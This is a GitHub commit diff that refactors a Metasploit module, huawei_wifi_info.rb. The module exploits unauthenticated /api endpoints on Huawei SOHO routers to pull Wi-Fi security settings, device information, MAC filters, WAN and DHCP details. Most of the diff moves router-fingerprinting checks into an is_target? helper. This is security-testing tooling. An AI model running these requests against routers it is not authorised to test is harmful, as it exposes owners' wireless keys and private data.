Skip to content

Commit a63625a

Browse files
committed
Refactor response parsing
1 parent c9a13bd commit a63625a

File tree

1 file changed

+30
-82
lines changed

1 file changed

+30
-82
lines changed

modules/auxiliary/admin/huawei/huawei_wifi_info.rb

Lines changed: 30 additions & 82 deletions
Original file line numberDiff line numberDiff line change
@@ -17,14 +17,14 @@ def initialize(info={})
1717
'Description' => %q{
1818
This module exploits an un-authenticated information disclosure vulnerability in Huawei
1919
SOHO routers. The module will gather information by accessing the /api pages where
20-
authentication is not required, allowing configuration changes
21-
as well as information disclosure including any stored SMS.
20+
authentication is not required, allowing configuration changes as well as information
21+
disclosure including any stored SMS.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
2525
[
2626
'Jimson K James.',
27-
'tomsmaily[at]aczire.com', #Msf module
27+
'<tomsmaily[at]aczire.com>', # Msf module
2828
],
2929
'References' =>
3030
[
@@ -65,21 +65,7 @@ def get_wifi_info
6565
'uri' => '/api/wlan/security-settings',
6666
})
6767

68-
#check whether we got any response from server and proceed.
69-
unless res
70-
print_error('Failed to get any response from server!!!')
71-
return
72-
end
73-
74-
#Is it a HTTP OK
75-
unless res.code == 200
76-
print_error('Did not get HTTP 200, URL was not found. Exiting!')
77-
return
78-
end
79-
80-
#Check to verify server reported is a Huawei router
81-
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
82-
print_error('Target doesn\'t seem to be a Huawei router. Exiting!')
68+
unless is_target?(res)
8369
return
8470
end
8571

@@ -169,25 +155,7 @@ def get_router_info
169155
'uri' => '/api/device/information',
170156
})
171157

172-
#check whether we got any response from server and proceed.
173-
unless res
174-
print_error('Failed to get any response from server!!!')
175-
return
176-
end
177-
178-
#Is it a HTTP OK
179-
if res.code == 200
180-
print_status('Okay, Got an HTTP 200 (okay) code. Verifying Server header')
181-
else
182-
print_error('Did not get HTTP 200, URL was not found. Exiting!')
183-
return
184-
end
185-
186-
#Check to verify server reported is a Huawei router
187-
if res.headers['Server'].match(/IPWEBS\/1.4.0/i)
188-
print_status("Server is a Huawei router! Grabbing info\n")
189-
else
190-
print_error('Target doesn\'t seem to be a Huawei router. Exiting!')
158+
unless is_target?(res)
191159
return
192160
end
193161

@@ -305,21 +273,7 @@ def get_router_mac_filter_info
305273
'uri' => '/api/wlan/mac-filter',
306274
})
307275

308-
#check whether we got any response from server and proceed.
309-
unless res
310-
print_error('Failed to get any response from server!!!')
311-
return
312-
end
313-
314-
#Is it a HTTP OK
315-
unless res.code == 200
316-
print_error('Did not get HTTP 200, URL was not found. Exiting!')
317-
return
318-
end
319-
320-
#Check to verify server reported is a Huawei router
321-
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
322-
print_error('Target doesn\'t seem to be a Huawei router. Exiting!')
276+
unless is_target?(res)
323277
return
324278
end
325279

@@ -412,21 +366,7 @@ def get_router_wan_info
412366
'uri' => '/api/monitoring/status',
413367
})
414368

415-
#check whether we got any response from server and proceed.
416-
unless res
417-
print_error('Failed to get any response from server!!!')
418-
return
419-
end
420-
421-
#Is it a HTTP OK
422-
unless res.code == 200
423-
print_error('Did not get HTTP 200, URL was not found. Exiting!')
424-
return
425-
end
426-
427-
#Check to verify server reported is a Huawei router
428-
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
429-
print_error('Target doesn\'t seem to be a Huawei router. Exiting!')
369+
unless is_target?(res)
430370
return
431371
end
432372

@@ -460,21 +400,7 @@ def get_router_dhcp_info
460400
'uri' => '/api/dhcp/settings',
461401
})
462402

463-
#check whether we got any response from server and proceed.
464-
unless res
465-
print_error('Failed to get any response from server!!!')
466-
return
467-
end
468-
469-
#Is it a HTTP OK
470-
unless res.code == 200
471-
print_error('Did not get HTTP 200, URL was not found. Exiting!')
472-
return
473-
end
474-
475-
#Check to verify server reported is a Huawei router
476-
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
477-
print_error('Target doesn\'t seem to be a Huawei router. Exiting!')
403+
unless is_target?(res)
478404
return
479405
end
480406

@@ -514,4 +440,26 @@ def get_router_dhcp_info
514440
print_status("DHCP Lease Time: #{dhcpleasetime}")
515441
end
516442
end
443+
444+
def is_target?(res)
445+
#check whether we got any response from server and proceed.
446+
unless res
447+
print_error('Failed to get any response from server.')
448+
return false
449+
end
450+
451+
#Is it a HTTP OK
452+
unless res.code == 200
453+
print_error('Did not get HTTP 200, URL was not found.')
454+
return false
455+
end
456+
457+
#Check to verify server reported is a Huawei router
458+
unless res.headers['Server'].match(/IPWEBS\/1.4.0/i)
459+
print_error('Target doesn\'t seem to be a Huawei router')
460+
return false
461+
end
462+
463+
true
464+
end
517465
end

0 commit comments

Comments
 (0)